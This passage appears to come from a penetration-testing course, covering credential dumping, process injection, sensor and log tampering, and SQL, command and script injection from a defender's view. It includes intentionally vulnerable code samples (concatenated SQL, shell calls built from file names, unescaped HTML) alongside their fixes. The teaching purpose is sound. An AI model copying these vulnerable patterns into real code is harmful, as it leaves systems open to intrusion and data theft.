4. Microsoft. (n.d.). Assigned Access overview; Assigned Access recommendations; Keyboard Filter; Using Event Viewer with AppLocker; Human Interface Devices. recommendations
5. Microsoft. (n.d.). Windows PowerShell ISE; about_Execution_Policies; about_Logging_Windows; about_Language_Modes; Applications that can bypass App Control. execution policies
6. Schroeder, W., and Christensen, L. (n.d.). Seatbelt (version 1.2.1), README and source. GhostPack. github.com
7. LOLBAS Project. (n.d.). Living off the land binaries, scripts and libraries. github.com; Pinna, E., and Cardaci, A. (n.d.). GTFOBins. gtfobins.github.io
8. Miller, T. C., et al. (n.d.). sudoers manual. sudo.ws; Free Software Foundation. (n.d.). Bash reference manual, section 6.10. gnu.org; Kerrisk, M. (Ed.). (n.d.). execve(2), capabilities(7). man7.org
9. Qualys Research Team. (2022, January 25). PwnKit: Local privilege escalation vulnerability discovered in polkit's pkexec (CVE-2021-4034). blog.qualys.com
10. Cybersecurity and Infrastructure Security Agency, National Security Agency, Federal Bureau of Investigation, et al. (2024, February 7). PRC state-sponsored actors compromise and maintain persistent access to U.S. critical infrastructure (AA24-038A). cisa.gov
11. Docker Inc. (n.d.). Linux post-installation steps for Docker Engine. docs.docker.com; Tenable. (n.d.). Microsoft Windows unquoted service path enumeration (Nessus plugin 63155). tenable.com

Four minutes of log lines from a fictional file server

It is 02:14 at Brightwater Credit Union, a fictional firm. A monitoring tool has sent a page about a file server called FS-02. You are the analyst on call, and this is everything it sent. The format is invented for this lesson, so treat it as sample output.

02:07:41  FS-02  EDR  process_access  src=helper.exe (PID 4120, parent cmd.exe)  target=lsass.exe  access=full
02:07:42  FS-02  EDR  file_created    path=C:/Windows/Temp/tmp8841.dat  size=61MB  by=helper.exe
02:11:15  FS-02  SCM  service_stopped name=BWSensor  by=account svc-backup
02:11:52  FS-02  EDR  agent_heartbeat_missed
02:13:09  FS-02  SEC  audit_log_cleared by=account svc-backup
02:13:40  FS-02  NET  inbound tcp/5985 from 192.0.2.77  session account=svc-backup

Each line is a small fact. Together they tell a story in the order a careful intruder would follow: take secrets from memory, switch off the sensor, erase the record, then use the secrets from another machine. This lesson names every step in that story, explains why it works, and shows what a defender can see and what stops it. A process ID (PID) is the number Windows gives each running program, which is why PID 4120 appears above.

You will learn the techniques from the defender's side. That is the level the exam tests and the level a report needs. Nothing here is a recipe, and no command lines for attack tools appear.

Exam objectives: 4.4 (credential dumping, circumventing security tools, payload obfuscation, library injection, process hollowing and injection, log tampering; Mimikatz, Rubeus, Certify, PsExec, Evil-WinRM). Lesson 15 covered the first half of 4.4: privilege escalation, misconfigured endpoints, shell and kiosk escapes, Seatbelt, PowerShell and the PowerShell Integrated Scripting Environment (ISE), and living off the land binaries (LOLbins).

Before you read further: permission, scope and what this lesson will not do

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. The lab for this lesson only reads fictional evidence printed on the page. You run nothing against any system.

The rules of engagement (ROE) matter more here than in most lessons, because every technique below can damage a live system or blind its defenders. Credential dumping collects secrets that belong to real people. Injection into a process can crash a business application. Disabling a sensor leaves the client unprotected while you work. Clearing a log destroys evidence the client may need for an unrelated real incident.

So an ROE normally says one of three things about each technique: forbidden, allowed only against named test hosts, or allowed only as a recorded demonstration with the client's security team watching. Your job is to know which, and to ask before you act when the document is silent.

Credential dumping and the Local Security Authority Subsystem Service

Credential dumping means getting copies of stored login secrets from a computer, such as password hashes, tickets or keys, so they can be reused. It is not guessing passwords. The secrets already exist on the machine, and the question is who is allowed to read them.

On Windows the main store is the Local Security Authority Subsystem Service (LSASS), a system process named lsass.exe. After a user signs in, Windows creates several kinds of credential material and keeps them in LSASS process memory so the user does not have to retype a password for every network resource.^[1] That convenience is the weakness. Anyone who can read that memory, or a saved copy of it, holds material that can be used to sign in elsewhere. ATT&CK notes that an administrative user or SYSTEM can harvest this material and use it for lateral movement, meaning moving from one machine to the next.^[1]

Notice the condition. Reading LSASS memory needs administrator or SYSTEM rights. So credential dumping is almost never the first step. It follows privilege escalation (Lesson 15), and it is what turns control of one machine into access to many. Other stores exist too, such as the local account database, cached domain logons and secrets kept by services, and Linux hosts keep hashes in files readable only by root.

Why the ROE limit it. A dump may contain the passwords or hashes of every person who signed in recently, including executives and administrators who are not part of the test. Most ROE require encrypted storage, a note of exactly which accounts were exposed, and a rule that the material is deleted or handed over at the end. Many forbid dumping from domain controllers or production servers without a named approval.

What defenders see. Reading LSASS is a rare thing for ordinary programs to do. ATT&CK's detection idea is a process that does not normally touch LSASS opening it with full access and then creating a large file or changing the Registry.^[1] That is exactly the first two lines of the FS-02 log. Real attackers use ordinary tools for this, including Task Manager and Sysinternals utilities, so the tool's name proves little and the behavior proves a lot.^[1]

What fixes or reduces it. Microsoft's added protection for LSA stops processes that are not protected from reading its memory or injecting code into it, and it is on by default in Windows 11.^[5] Plug-ins loaded into LSA must then carry a Microsoft signature, so the feature has an audit mode that logs what would fail to load before you enforce it.^[5] ATT&CK also lists Credential Guard, which isolates secrets from the rest of the system but is not on by default, has hardware needs and does not stop every form of dumping.^[1] The rest is hygiene: attack surface reduction (ASR) rules that guard LSASS, disabling the old WDigest protocol and restricting NTLM, unique local administrator passwords on every host, and keeping domain accounts out of local administrator groups.^[1]

Key idea: credential dumping depends on one fact, that secrets sit in memory while users are signed in. You cannot patch that away, so defenders protect the process that holds them and watch for anything that reaches into it.

Mimikatz, Rubeus and Certify compared: three tools, three kinds of secret

The exam lists three tools that handle credentials. They are easy to mix up, so compare them by what each one touches.

Mimikatz is the best known credential tool on Windows. It is open source and was written to show weaknesses in how Windows keeps secrets. It reads credential material that sits in memory and in saved memory copies, and ATT&CK records it in dozens of real intrusions, from state-backed groups to ransomware crews.^[1] Its use leaves evidence: a file written to disk, antivirus alerts that name it, an unusual process opening LSASS, and often a later sign-in from a place the account never used before. Because it is so widely known, endpoint products detect its file and its behavior. Testers therefore expect it to be caught, and a catch is a useful result for the report. There is also a practical warning. Run casually on a client machine, it collects other people's secrets, which is why the ROE decide.

Rubeus is a different animal. It is a C# toolset for raw interaction with Kerberos, the ticket-based sign-in system used in Windows domains, and for abusing it.^[6] Where Mimikatz is about what is stored on one host, Rubeus is about the tickets that prove identity across a domain. Its use shows up on the domain controller as unusual ticket requests, such as requests with odd encryption choices, tickets asked for by accounts that rarely ask, or a ticket used from a machine that did not request it. A ticket is a time-limited proof of identity that the domain hands out after a sign-in, so a stolen ticket works like a borrowed badge until it expires. Stolen secrets and stolen tickets therefore feed each other.

Certify targets neither passwords nor tickets. It is a C# tool to find and abuse misconfigurations in Active Directory Certificate Services (AD CS), the part of a domain that issues digital certificates.^[6] A certificate can be used as a login credential, so a badly configured certificate template can let a low-privilege account obtain a certificate that identifies someone far more powerful. The authors released it with a 2021 research paper called Certified Pre-Owned, which also contains prevention and detection advice, and they chose not to publish compiled binaries, so users must build it themselves.^[6] Evidence of its use sits in the certificate authority's own logs: who requested what, from which template, and who was named in the request.

None of these three is the attack. Each is a convenient way to ask a question the weakness already allows. The fix is always the weakness: protected LSA, short ticket lifetimes, tight certificate templates, and logging that someone actually reads.

Process injection, process hollowing and library injection: borrowing a trusted name

Process injection means getting code to run inside the memory of a different, already running program.^[2] Ordinary programs each live in their own protected memory. Injection is possible because the operating system also offers legitimate features that let one process work inside another, for debuggers, accessibility tools and security products. Attackers abuse those same features.

The reason to do it is disguise and reach. Code running inside another process inherits that process's name, its network permissions and its privileges, and security tools that judge by process name see only the trusted host.^[2] ATT&CK files injection under two goals, evading process-based defenses and escalating privilege.^[2] Two named forms are on the exam.

• Library injection makes another process load a dynamic-link library (DLL), a file of reusable code that Windows programs load as needed. ATT&CK lists this as DLL injection.^[2] The program then runs the library's code as if it were part of itself. A related weakness is when a program loads a library by name and searches folders in an order that someone can write to; Lesson 15's unquoted paths are a cousin of that idea, since both exploit where Windows looks.
• Process hollowing starts with a legitimate program and replaces what it contains with different code, so the process still carries the trusted program's name while doing something else.^[2] The name in the process list is true. The content is not.

What makes it possible. The attacker needs enough rights over the target process, usually the same account or an administrator, and nothing in the system forbidding it. That is why protected processes matter: LSASS refuses injection from unprotected processes once the added protection is on.^[5]

Why the ROE limit it. Injecting into the wrong process can crash it, and some processes are the business application itself or a security agent. Testers are normally limited to named test hosts and told which processes are off limits.

What defenders see. ATT&CK's detection idea is correlation: calls that write into another process's memory, a thread started inside that other process, and unexpected libraries loading there.^[2] Practical signs are a process that suddenly makes network connections it never made before, a trusted program started by an odd parent, and a program whose image on disk does not match what is in memory. Memory scanning in an endpoint detection and response (EDR) product, a sensor that watches process behavior on a host, is the usual way to catch hollowing.

What fixes or reduces it. Mitigations are layered. Endpoint products can block known injection behavior, and ATT&CK notes attack surface reduction rules that stop Office programs from injecting code.^[2] Application control limits which libraries and programs may load at all. Least privilege matters most, because injection into another account's process needs rights the attacker should not have. On Linux, the same source recommends limiting the debugging call ptrace to privileged users, with SELinux or AppArmor adding process restrictions.^[2]

Remember: injection does not give an attacker new powers by itself. It lets them borrow the identity, rights and reputation of a process that already has them, so the defense is to limit what each process may do and to notice when it does something new.

Circumventing security tools: disabling, blinding or bypassing the sensors

The exam's phrase circumventing security tools covers any attempt to make a host's defenses see less or do less. ATT&CK's name for the family is Disable or Modify Tools. It includes stopping services, ending processes, editing a tool's configuration or Registry keys, and preventing updates.^[3] It also includes blocking the signals tools depend on, such as Windows event tracing or the path that forwards logs to a central system.^[3]

This works for a plain reason: a security agent is software running on the very machine it watches. Anyone with administrator or SYSTEM rights there has a lot of power over it, unless the agent protects itself. Tampering protection in the product, a protected service, and central policy that the local administrator cannot change all raise the bar. None is perfect.

Why the ROE limit it. This one is often forbidden outright or limited to a lab host. Switching off a client's antivirus or sensor on a production machine removes the protection they pay for, and a real intruder could use the gap. If the engagement's purpose is to test detection, the ROE usually say to try only what the client's security team has agreed to watch for, and to stop when a tool blocks you. A block is a result, not an obstacle to defeat.

What defenders see. A security agent that stops or misses its regular check-in is itself an alert. In the FS-02 log that is the line agent_heartbeat_missed. Other signs are a service-stopped event for a security product, new exclusion paths added to an antivirus, changed Registry settings and an agent version that does not match the fleet.

What fixes or reduces it. ATT&CK suggests several controls.^[3]

• Check that every expected host reports in to the central console, and treat silence as a finding.
• Review exclusion lists for paths nobody can explain.
• Use application control so only approved security software runs.
• Restrict file, Registry and service permissions so ordinary administrators cannot stop the agent.

Many organizations also separate duties, so the person who administers servers cannot change the security policy for them.

Payload obfuscation: making the same code look different

A payload is the part of an attack that does the damage or gives the access. Payload obfuscation means hiding its content, by encrypting, encoding, compressing or splitting it, so that scanners and analysts have a harder time recognizing it.^[4] The code does the same thing, but the bytes on disk or on the wire look different.

It works because many older defenses are signature based: they match known patterns. A pattern match fails if the pattern is changed. Obfuscation therefore defeats the weakest layer, not the whole stack. ATT&CK also describes payloads split into several harmless-looking files that reveal their function only when put together, and compressed or password-protected archives that a scanner cannot open.^[4]

Why the ROE limit it. A tester does not need to prove that a clever disguise can fool a product. The useful question is whether the client's layers catch something once it runs. Many ROE therefore allow tools to be detected as normal, or ask the tester to say in advance which evasion is in scope. A tester also has a duty not to leave live, disguised malware on a client network.

What defenders see. The disguise rarely survives running. Observers can look at behavior rather than appearance: what the program does, what it contacts and what it changes. Signs include large encoded strings in command lines, scripts that decode themselves, archives from outside that need a password, and a decoder program starting just before another process misbehaves.

What fixes or reduces it. ATT&CK points to antivirus plus the Antimalware Scan Interface (AMSI), a Windows feature that lets security products inspect scripts after they are decoded, and to attack surface reduction rules that block execution of potentially obfuscated payloads.^[4] Add script logging, application control, and blocking of password-protected archives at the mail gateway. The principle is to inspect at the point of execution, when the disguise has to come off.

Tools that never write an ordinary program file are an extension of the same idea. A payload can be packaged in a compiled but unlinked form such as the Common Object File Format (COFF), the standard structure of an object file, and run inside another process. Defenders then lean on the behavior and memory signals described under injection, because there is no ordinary file to scan.

Log tampering: erasing or disabling the record

Log tampering is changing, deleting or switching off the records a system keeps of what happened. ATT&CK groups it with disabling tools, and its sub-techniques name clearing Windows event logs, disabling or modifying the Windows event log, disabling Linux audit logging, and clearing Linux or macOS system logs.^[3] (Older ATT&CK versions gave log clearing its own ID, T1070.001. The current site redirects it into the Disable or Modify Tools family, T1685.005, so expect either number in reference material.)^[3]

It is possible because a log written on a machine is controlled by whoever controls the machine. If the only copy is local, an administrator can remove it. The attacker's purpose is to delay detection and to make the investigation harder to finish.

Why the ROE limit it. Of everything in this lesson, this is the one a tester almost never does. Logs belong to the client, and they may be needed for audits, fraud cases or a real attack in progress. Standard practice, which Lesson 26 returns to, is to leave logs alone unless the contract specifically authorizes changing them, and then only after a backup. The honest way to test detection is to leave logs intact and report whether the client noticed.

What defenders see. Clearing a log is loud. Windows writes an event when the audit log is cleared, and the log's own history shows a gap with nothing before a certain time. The FS-02 line audit_log_cleared is that signal. Silence is also evidence: a busy server with no events for twenty minutes, or a forwarded stream that stops.

What fixes or reduces it. Copy logs away from the host as they are written. A security information and event management (SIEM) system collects logs from many sources into one searchable place that a local administrator cannot edit. With forwarding in place, clearing the local copy only adds one more alert, because the original lines already left the building. ATT&CK also suggests relaunching forwarding mechanisms at recurring intervals and applying change management to their settings.^[3] Add write-once storage, a retention policy longer than most intrusions stay hidden, and an alert on log-cleared events.

PsExec and Evil-WinRM: two ways to run commands on another computer

These two exam tools are about remote execution, which is how an attacker uses stolen credentials from the earlier sections. Both are also real administration tools, so the same traffic can be legitimate. Lesson 24 shows how remote management is used to move through a network, so here the focus is what each one is and what it leaves behind.

PsExec is a Microsoft Sysinternals utility that runs programs on other Windows systems without first installing client software there, and it gives full interaction with console programs.^[7] Administrators use it every day. Microsoft's own page warns that some antivirus products flag the PsTools suite as a remote administration threat, because malware has used them.^[7] That tells you what its footprint looks like: a network sign-in with administrative rights, a remote service or process appearing on the target for a short time, and a command running as a high-privilege account. Defenders correlate those events and ask whether this administrator should be doing this from this machine.

Evil-WinRM is a shell built for penetration testing over Windows Remote Management (WinRM), Microsoft's implementation of the WS-Management protocol.^[8] Its project says WinRM usually listens on port 5985, and that the tool works only with valid credentials and permissions.^[8] The tool uses the PowerShell Remoting Protocol under the hood.^[8] The FS-02 log's last line, inbound traffic on tcp/5985 from an address that is not an administration host, shows its footprint: an unexpected WinRM session, then PowerShell activity under that account. It is one of the places script block logging earns its keep.

The fix is not to ban the tools, because the protocols are built into Windows. Limit who may use remote management and from where, turn on the logs, use unique local administrator passwords so one stolen secret does not open every host, and alert when an administrative sign-in comes from a machine that is not an administrator's workstation.

The whole family at a glance

Worked example: reading the FS-02 log

Return to the six lines at the start. Work through them with four questions: what happened, in what order, how much do we know, and what would the report say?

1. 02:07:41 and 02:07:42. An unfamiliar program named helper.exe, started by a command shell, opened lsass.exe with full access and then created a 61 MB file in a temporary folder. A program with no business touching LSASS followed by a large file is the credential-dumping pattern.^[1] Treat it as: the secrets of everyone recently signed in to FS-02 may now be in that file.
2. 02:11:15 and 02:11:52. The service BWSensor, the host's security agent, was stopped by account svc-backup, and the agent stopped reporting. Stopping a sensor is the Disable or Modify Tools family.^[3] It came four minutes after the dump, so it looks deliberate, not an accident.
3. 02:13:09. The audit log was cleared by the same account. This is log tampering, and it explains why this page of evidence is so short.
4. 02:13:40. Someone from 192.0.2.77, an address not on the administration list, opened a remote management session as svc-backup. The account had been used from the machine itself, then from the network. This is the use of what was taken.

The conclusion is that svc-backup is compromised and probably so is every account that signed in to FS-02 recently. A fuller answer also says what is not known: how the intruder got administrator rights, and what 192.0.2.77 did next. That is where the SIEM copy of the logs becomes valuable, since the local log was cleared but the forwarded lines were not, unless forwarding stopped at 02:11.

Second run, one input changed. Suppose the first line instead shows the process_access came from the organization's approved backup agent, and no new file was created. The same lines now read very differently: backup software legitimately reads many things, there is no sign of a copy of memory, and the log clearing might be an administrator's housekeeping. You would still check the stopped sensor and the log clear, because those are suspicious regardless, but you would probably rate the incident far lower. The facts that carry the severity are who opened LSASS and whether a file followed. That is why you read the whole chain before rating any single line.

The core of it: a log line is a clue, and a chain of lines is evidence. Rate the chain.

Exam cues: what the stem says, and the pairs people confuse

Two pairs cause most errors. Injection versus hollowing: injection adds code to a running process; hollowing replaces the contents of a legitimate program so the name is borrowed. Obfuscation versus evasion of tools: obfuscation changes how the payload looks, while circumventing tools attacks the defender's software or its signals directly. Also note a scenario that asks what a tester should do about log clearing: the usual answer is not to clear logs, and to report whether the logs and alerts worked.

How a host-based attack finding is reported

A finding for this family usually covers a control that failed, not the trick. Writing "Mimikatz works" helps nobody. Write what the attacker could reach, and the single change that most reduces the risk. If the ROE forbade a technique, say so, and report what you could confirm without doing it.

• Title: Domain service account with local administrator rights on a file server exposes cached credentials in LSASS memory.
• Severity: High (illustrative CVSS 3.1 base 7.8, AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) because a compromise of the account gives all recently signed-in accounts. It rises to Critical if domain administrators sign in to that server. Justify the rating by what you observed, and say what you did not test.
• Evidence: a screenshot or log extract showing LSA protection not enabled, the list of accounts with local administrator rights, and the security tool's alert (or silence) when the approved test ran.
• Root cause: LSA protection is off, the account is over-privileged, and the same service account is reused across servers.
• Remediation: turn on LSA protection after running audit mode, remove the account from local administrator groups, give each server a unique local administrator password, forward logs to the SIEM, and alert on LSASS access. Retest by checking the same settings and re-running the approved test.

Detection is a finding too. If the client's tools caught every action, write it as a positive result with the time it took to alert. If they caught nothing, say which log or sensor should have, and how long the testing went unnoticed.

Common misconceptions

• Belief: credential dumping needs password cracking. Reality: it reads stored material, and cracking is a separate step that is sometimes unnecessary.
• Belief: a process with a Microsoft name is safe. Reality: injection and hollowing borrow trusted names, so judge behavior.
• Belief: antivirus that does not alert means nothing happened. Reality: a sensor can be stopped or blinded, and obfuscation targets signature matching.
• Belief: clearing a log leaves no trace. Reality: clearing creates its own event, and forwarded copies remain.
• Belief: PsExec and Evil-WinRM are malware. Reality: both are legitimate remote tools whose abuse is judged by who uses them and from where.
• Belief: a tester should clear logs to test the client. Reality: logs belong to the client, and testers leave them intact unless the contract says otherwise.

The takeaway

The core of it: each technique here exploits something that must exist for the system to work, such as secrets in memory, processes that cooperate, a sensor on the same host, and logs written locally. The defense is to protect that thing and to keep a second, independent record. Seven claims to carry away:

1. LSASS holds credential material in memory after sign-in, and reading it needs administrator or SYSTEM rights.^[1]
2. LSA protection blocks unprotected processes from reading LSASS or injecting into it, and is on by default in Windows 11.^[5]
3. Mimikatz works on stored material, Rubeus on Kerberos tickets and Certify on AD CS certificates.^[1][6]
4. Process injection runs code inside another process, and process hollowing swaps a trusted program's contents so the name looks legitimate.^[2]
5. A security agent that stops reporting is an alert in itself, and tamper protection and check-in monitoring are the fixes.^[3]
6. Obfuscation defeats signature matching, so defenders inspect at execution with AMSI and behavior detection.^[4]
7. Forwarding logs to a SIEM makes local log clearing both visible and survivable, and testers do not clear client logs without written authorization.

Sources

1. MITRE. (2026). OS credential dumping: LSASS memory (T1003.001). MITRE ATT&CK Enterprise. attack.mitre.org
2. MITRE. (2026). Process injection (T1055), including sub-techniques T1055.001 and T1055.012. MITRE ATT&CK Enterprise. attack.mitre.org
3. MITRE. (2026). Disable or modify tools (T1685), which now contains the former log-clearing technique T1070.001 as T1685.005. MITRE ATT&CK Enterprise. attack.mitre.org
4. MITRE. (2026). Obfuscated files or information (T1027). MITRE ATT&CK Enterprise. attack.mitre.org
5. Microsoft. (n.d.). Configure added LSA protection. Microsoft Learn. learn.microsoft.com
6. GhostPack. (n.d.). Rubeus and Certify, README files. GitHub. Rubeus; Certify
7. Russinovich, M. (2023, April 11). PsExec (v2.43). Microsoft Learn, Sysinternals. learn.microsoft.com
8. Hackplayers. (n.d.). Evil-WinRM, README. GitHub. github.com

One apostrophe in a surname

Two customers of Larkspur Books, a fictional online shop, search for their orders on the same morning. Okafor gets her list. O'Brien gets an error page. Nothing is wrong with her account. The apostrophe in her name reached the database as part of the instructions, and the database could not parse them.

Shape the input on purpose and the same mistake becomes a breach. According to a joint CISA and FBI advisory, from 27 May 2023 the CL0P ransomware gang exploited a SQL injection flaw in Progress Software's MOVEit Transfer (CVE-2023-34362). The gang installed a web shell named LEMURLOOT and stole data from the databases behind it. A 2024 alert from the same agencies, responding to SQL injection in a managed file transfer application, put the impact at thousands of organizations.

This lesson runs one procedure against five interpreters. Lesson 18 covers the rest of objective 4.5.

Exam objectives: 4.5: injection attacks (SQL injection, command injection, cross-site scripting, server-side template injection), deserialization attacks and arbitrary code execution; tools sqlmap, Burp Suite and Zed Attack Proxy (ZAP).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Even with permission, a test that changes a query can change data, so the rules of engagement (ROE) should settle four things first:

• which environment
• which test accounts
• whether any test may write data
• who answers the phone if something breaks

This course shows no attack strings and sends none. The inputs here are ordinary things such as a surname and a file name, and attack tools are taught by what they need and what they print.

The procedure: five questions for every input

1. Where does input enter? List every value the application accepts: query strings, form and JSON bodies, path segments, headers, cookies, uploaded file names and values it stored earlier. The Web Security Testing Guide (WSTG) calls this identifying entry points (WSTG-INFO-06).
2. Which interpreter reads it next? Follow the value to whatever parses it as a language.
3. Are instructions kept apart from data? Read the code, or compare a control with an honest value containing the interpreter's special characters.
4. What is the lightest proof the ROE allow? Prove the class of flaw and stop.
5. What keeps data apart, and does a retest show it? Recommend the control, then confirm that honest input now works.

Key idea: this is one mistake in five settings. A program lets input become part of an interpreter's instructions; every real fix keeps the instructions fixed and hands the input over as data. OWASP's Top 10:2025 says under A05 Injection, "The concept is identical among all interpreters." Deserialization sits under A08 Software or Data Integrity Failures. LDAP injection and prompt injection (Lesson 22) share the pattern.

Burp Suite and Zed Attack Proxy: where step 1 happens

Burp Suite and Zed Attack Proxy are intercepting proxies: every request and response between your browser and the application lands in a history you can search. Both default to port 8080 on loopback, so run one at a time. Use the browser each tool launches, because modern browsers skip a configured proxy for loopback addresses unless told otherwise.

Try this in your lab. Start Juice Shop as in Lesson 2, then ZAP with zaproxy. Set the mode to Safe, choose Manual Explore, enter 127.0.0.1:3000 and launch the browser. (In Burp: Proxy > Intercept > Open browser.) Scroll the products, open one, and try the login form once with a made-up address such as learner@example.com. Leave the spider, Active Scan and fuzzer alone. Burp's HTTP history would show rows like these (sample, trimmed); ZAP's History tab is similar.

#   Method  URL                                    Params  Status  Length
14  GET     /rest/admin/application-configuration          200     20891
15  GET     /rest/languages                                200     5102
16  GET     /rest/products/search?q=               yes     200     14530
17  GET     /rest/products/24/reviews                      200     512
18  POST    /rest/user/login                       yes     401     331

Read that as an inventory of inputs: a query parameter in row 16, a JSON body in row 18, and in row 17 a value in the path that a Params flag does not mark. Cookies and headers count as well.

Repeater suits one request changed a little at a time. A scanner suits breadth, and every alert still has to be validated. ZAP's passive scanning only reads traffic, but as its documentation says, "Active scanning is an attack on those targets." Its modes set the guard rail: Safe permits no potentially dangerous operations, Protected limits them to in-scope URLs, Standard restricts nothing, and ATTACK actively scans new in-scope pages as they appear. A sample alert follows; its confidence rating is only the tool's estimate.

SQL Injection   Risk: High   Confidence: Medium
Parameter: surname   Attack: [removed]
Evidence: [database error text]   CWE ID: 89

The exam's Zed Attack Proxy now goes by ZAP by Checkmarx, which hired its three project leaders in 2024; it stays open source, and older books call it OWASP ZAP. Defenders cannot see a proxy, but automation stands out: thousands of requests from one address, many of them errors.

Run 1: SQL injection in the order search

SQL injection (SQLi) happens when input reaches a Structured Query Language (SQL) query as part of its text. It is CWE-89, second on the 2025 CWE Top 25. Here is the whole procedure on Larkspur's staging site, under a signed scope.

Steps 1 to 3. The history shows one parameter, surname, which almost certainly reaches a database query. So send a control, then an honest value containing SQL's special character. WSTG-INPV-05 says the first test is usually a single quote, which SQL uses to end a string; %27 is the apostrophe URL-encoded.

#   Request                               Status  Length  Body shows
41  GET /orders/search?surname=Okafor     200     412     her two orders
42  GET /orders/search?surname=O%27Brien  500     1893    OperationalError: near "Brien": syntax error

The client's source shows why:

# Vulnerable: the input is pasted into the query's text
def find_orders(conn, surname):
    sql = "SELECT id, title FROM orders WHERE surname = '" + surname + "'"
    return conn.execute(sql).fetchall()

When this lesson was written, that function, run with Python's sqlite3 module, raised exactly that error; other databases word it differently. The apostrophe closed the string early, so the database tried to read Brien as SQL. Input carrying quote marks and SQL keywords can go further: change which rows come back, add rows from other tables and, where the database and account allow it, write data or reach the operating system.

How much the application tells you decides which family of technique applies.

Step 4. With writes forbidden, the proof is a read-only comparison on test data. Record the pair and stop; customer rows in your notes are a liability. Step 5. Bind the value instead of pasting it:

# Fixed: the query's text never changes, and the value travels separately
sql = "SELECT id, title FROM orders WHERE surname = ?"
return conn.execute(sql, (surname,)).fetchall()

This parameterized query is the first defense in OWASP's cheat sheet: the database fixes the query's structure before any value arrives, so the apostrophe is only a character in a name. Markers stand for data values only, so map a sort column to a short fixed list in code. A stored procedure or object-relational mapper that builds SQL from text is still injectable. Least privilege limits damage without preventing anything, and OWASP strongly discourages hand escaping.

A web application firewall (WAF) rule can block known patterns while the flaw stays behind it.

Run 2: the same two requests after two different fixes

Change one thing, the code, and send the same two requests. One developer binds the value. Another does this:

# Build A: removes apostrophes, then still concatenates
cleaned = surname.replace("'", "")
sql = "SELECT id, title FROM orders WHERE surname = '" + cleaned + "'"

When this lesson was written, the three versions gave these results on a small test table:

A retest asking "did the error stop?" passes Build A. A retest asking "did O'Brien find her order?" fails it, and that failure is your clue. The query is still built from text, and a numeric parameter needs no quote at all.

The flip runs the other way too. A validator or a WAF's block page also produces errors, so read the body: a database parser error is evidence, and a generic 403 says only that something disliked the character (Lesson 12).

Key idea: retest by behavior. A correct fix makes the honest input work; stopping the error is not enough.

sqlmap: confirming a lead at scale

sqlmap is an open source tool that automates detecting and exploiting SQL injection. You give it a URL or a saved request, plus any session cookie, and it works through the parameters. Its manual lists six SQL injection types (the families above plus inline queries) and now other classes such as NoSQL. It is an attack tool, so this course never runs it; learn when to choose it and how to read its output.

sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: surname (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: [removed]

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: [removed]
---
back-end DBMS: PostgreSQL

That sample is fictional. It names the parameter and how it travels, each technique that worked, and the database product. The Payload lines, removed here, hold the strings it sent.

Two settings matter to the ROE. Level (1-5) decides how many tests run and which parts of the request they touch, with cookies from level 2. Risk (1-3) decides how dangerous they may be. The default is innocuous for most injection points, but value 3 adds OR-based tests. These can update every row of a table if the injection point sits in an UPDATE statement.

Choose sqlmap after a manual lead, when blind extraction would take thousands of requests by hand, and Repeater when the application has rate limits, one-time tokens or a fragile workflow. Its default traffic names itself (sample log line):

203.0.113.50 - - [03/Nov/2026:14:02:11 +0000] "GET /orders/search?surname=[value removed] HTTP/1.1" 500 1893 "-" "sqlmap/1.x.x.x#dev (https://sqlmap.org)"

Run 3: command injection, where a shell reads the input

Larkspur fingerprints each catalog that publishers upload. A file named R&D titles.pdf returns an error. The file name goes to an operating system command:

# Vulnerable: a shell parses the whole string
os.system("sha256sum " + filename)

When this lesson was written, that command line, run through a POSIX shell, printed:

sha256sum: R: No such file or directory
sh: line 1: D: command not found

To a shell, an ampersand ends one command and starts the next, so it tried to run a program called D. The input chose which program ran, and nothing harmful happened only because no such program exists. That is command injection, CWE-78, ninth on the 2025 Top 25. A July 2024 CISA and FBI alert cites campaigns exploiting it in network edge devices (CVE-2024-20399, CVE-2024-3400, CVE-2024-21887).

Look wherever a feature wraps a system tool: ping in admin panels, file conversion, image resizing, backups. When output never reaches the page, testers rely on a time delay or an out-of-band callback, as with blind SQL injection. OWASP separates this from code injection, which adds code in the application's own language.

Prefer a library, so no shell is involved. If a program must run, pass its arguments as a list, so nothing parses the ampersand.

# Fixed: no shell, no external program
with open(path, "rb") as f:
    digest = hashlib.file_digest(f, "sha256").hexdigest()

# Also safe from the shell: the arguments stay separate
subprocess.run(["sha256sum", "--", filename], check=True)

Both handled that name correctly when tested. The two dashes end the program's options, because a value starting with a dash could otherwise be read as one, which is argument injection. Add allow-list validation and least privilege; a denylist of punctuation is easy to get wrong.

Defenders watch process lineage: endpoint detection and response tools flag a web server such as apache2 or w3wp.exe starting a shell.

Run 4: cross-site scripting, where the visitor's browser reads the input

A customer reviews a novel and writes Better than <Dune>, in my view. The page shows "Better than , in my view." The trouble is in what the server sent:

# Vulnerable: stored text is pasted into HTML
return "<p>" + review + "</p>"

# Fixed: the text is encoded for the HTML context
return "<p>" + html.escape(review) + "</p>"

The fixed line sends the brackets as < and >, which display as the customer typed them. An HTML page is a program the visitor's browser runs, and the unencoded version let the customer's text become part of it. A word in angle brackets is harmless, but markup can also carry script. Script from the site's own page runs with that site's privileges. It can read what the page can read and act as the visitor. That is cross-site scripting (XSS), CWE-79, first on the 2025 Top 25; CSS already meant Cascading Style Sheets.

Test harmlessly first: send a unique plain word, find every place it comes back, and note what surrounds it. That context sets the encoding, because an HTML body, an HTML attribute, JavaScript, CSS and a URL all parse differently. PHP's htmlspecialchars and Python's html.escape suit the HTML contexts, and OWASP says not to put untrusted data directly into CSS source.

Try this in your lab. Search Juice Shop for a plain word such as lantern, then look for it in your proxy's history. You should not find it. At the time of writing, Juice Shop's source loads the products once with an empty q and filters them in the browser, while your word sits in the address bar after the #. That is a DOM source: the value never crosses the wire, so server logs cannot show it.

// Vulnerable: the URL fragment becomes markup
note.innerHTML = decodeURIComponent(location.hash.slice(1));

// Fixed: the same value becomes text
note.textContent = decodeURIComponent(location.hash.slice(1));

